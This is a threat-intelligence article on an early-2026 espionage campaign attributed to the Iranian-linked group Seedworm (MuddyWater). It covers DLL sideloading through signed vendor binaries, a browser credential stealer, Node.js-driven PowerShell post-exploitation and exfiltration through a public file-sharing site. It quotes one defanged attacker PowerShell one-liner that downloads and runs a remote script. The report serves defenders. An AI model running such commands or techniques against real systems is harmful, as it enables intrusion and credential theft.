Seedworm’s Evolution: Inside the Iranian-Linked APT’s Surgical Global Espionage Push

The advanced persistent threat (APT) group known as Seedworm—also identified by the monikers MuddyWater, Temp Zagros, and Static Kitten—has long been linked to the Iranian Ministry of Intelligence and Security (MOIS). Recent intelligence reveals that the group has significantly matured its operational tradecraft, launching a sophisticated global espionage campaign designed to bypass modern endpoint detection and response (EDR) systems.

This campaign has successfully breached at least nine distinct organizations across four continents. The targeting profile is highly surgical, impacting critical sectors including industrial manufacturing, financial services, aviation, government, and academia.

Notable victims include a prominent South Korean electronics manufacturer, a Middle Eastern aviation hub, and several strategic entities throughout Southeast Asia and Latin America. The objective is unmistakably clear: the exfiltration of high-value intellectual property, sensitive governmental intelligence, and strategic access to downstream supply chain partners.

According to detailed analysis by Symantec security researchers, the campaign was observed in early 2026. The group’s primary method of evasion involves the abuse of cryptographically signed binaries to perform DLL sideloading, effectively “hiding in plain sight” by utilizing legitimate software to execute malicious code.

The Mechanics of Binary Abuse and Sideloading

To evade signature-based defenses and blend into standard system telemetry, Seedworm leverages trusted executables to load weaponized Dynamic Link Libraries (DLLs). By using binaries that carry valid digital signatures, the attackers ensure that traditional security tools view the process execution as legitimate activity. A particularly deceptive aspect of this campaign is the targeting of security vendor binaries, which can complicate incident response workflows.

The primary vectors identified include:

• fmapp.exe (Fortemedia): Weaponized to load the malicious fmapp.dll.
• sentinelmemoryscanner.exe (SentinelOne): Exploited to load sentinelagentcore.dll.

Once these malicious DLLs are resident in memory, they deploy a specialized tool dubbed ChromElevator. This utility is specifically engineered to scrape sensitive data from Chromium-based browsers, including stored credentials, session cookies, and financial information.

Orchestration via Node.js and Modular Payloads

A significant evolution in Seedworm’s technical repertoire is the shift toward Node.js orchestration. Rather than relying solely on standard Windows processes, the attackers utilized Node.exe as a central parent process to manage DLL sideloading and the execution of various scripts. This provides a layer of abstraction that can decouple malicious intent from the actual payload execution.

The Node.js-based implant acts as a delivery vehicle for modular PowerShell scripts, which perform a range of post-exploitation tasks:

• System Reconnaissance: Rapidly mapping the environment using whoami, hostname, and domain queries.
• Visual Surveillance: Capturing screenshots of active user sessions to gauge high-value activity.
• Credential Harvesting: Extracting the SAM, SECURITY, and SYSTEM registry hives to facilitate offline cracking.
• Persistence & Pivoting: Establishing SOCKS5 reverse proxy tunnels to provide a stable, encrypted foothold for lateral movement.

Attackers frequently utilized one-liners to pull remote scripts, such as:

powershell -NoProfile -Command “iex (New-Object Net.WebClient).DownloadString(‘http://179.43.177[.]220:8080/nm.ps1’)”

Beyond basic script execution, the group employed advanced techniques to escalate privileges. One tool leveraged the Windows API CredUIPromptForWindowsCredentialsW to present users with a legitimate-looking credential prompt. Furthermore, the attackers demonstrated a deep understanding of Windows authentication by abusing Kerberos delegation via GSS-API to extract Ticket Granting Tickets (TGTs), allowing them to move through the network without needing plaintext passwords.

Exfiltration Tactics: Blending with Web Traffic

To avoid detection by network-layer security monitoring (such as DLP or NTA), Seedworm abandoned custom command-and-control (C2) infrastructure in favor of legitimate public services. They utilized sendit[.]sh, a public file-sharing platform, to exfiltrate stolen data. By routing exfiltration through high-reputation domains, the group significantly reduces the likelihood of triggering alerts based on anomalous outbound traffic.

Case Study: The South Korean Intrusion

The lifecycle of the intrusion into the South Korean manufacturer provides a blueprint of Seedworm’s operational discipline. The breach began on February 20, 2026, starting with automated reconnaissance via Node.js. Within minutes of initial access, the attackers had already captured screenshots and begun the payload download phase. Following DLL sideloading and the establishment of persistence via registry run keys, the group maintained a presence for over a week. Unlike “smash-and-grab” attackers, Seedworm operated with measured intervals—interspersing active data theft with quiet periods to mimic automated beaconing, concluding their primary phase around February 27.

Indicators of Compromise (IOCs)

Security Advisory: IP addresses and domains have been defanged (e.g., [.]) to prevent accidental execution or automated ingestion. Analysts should only “re-fang” these indicators within isolated threat intelligence platforms such as MISP, VirusTotal, or a dedicated SIEM environment.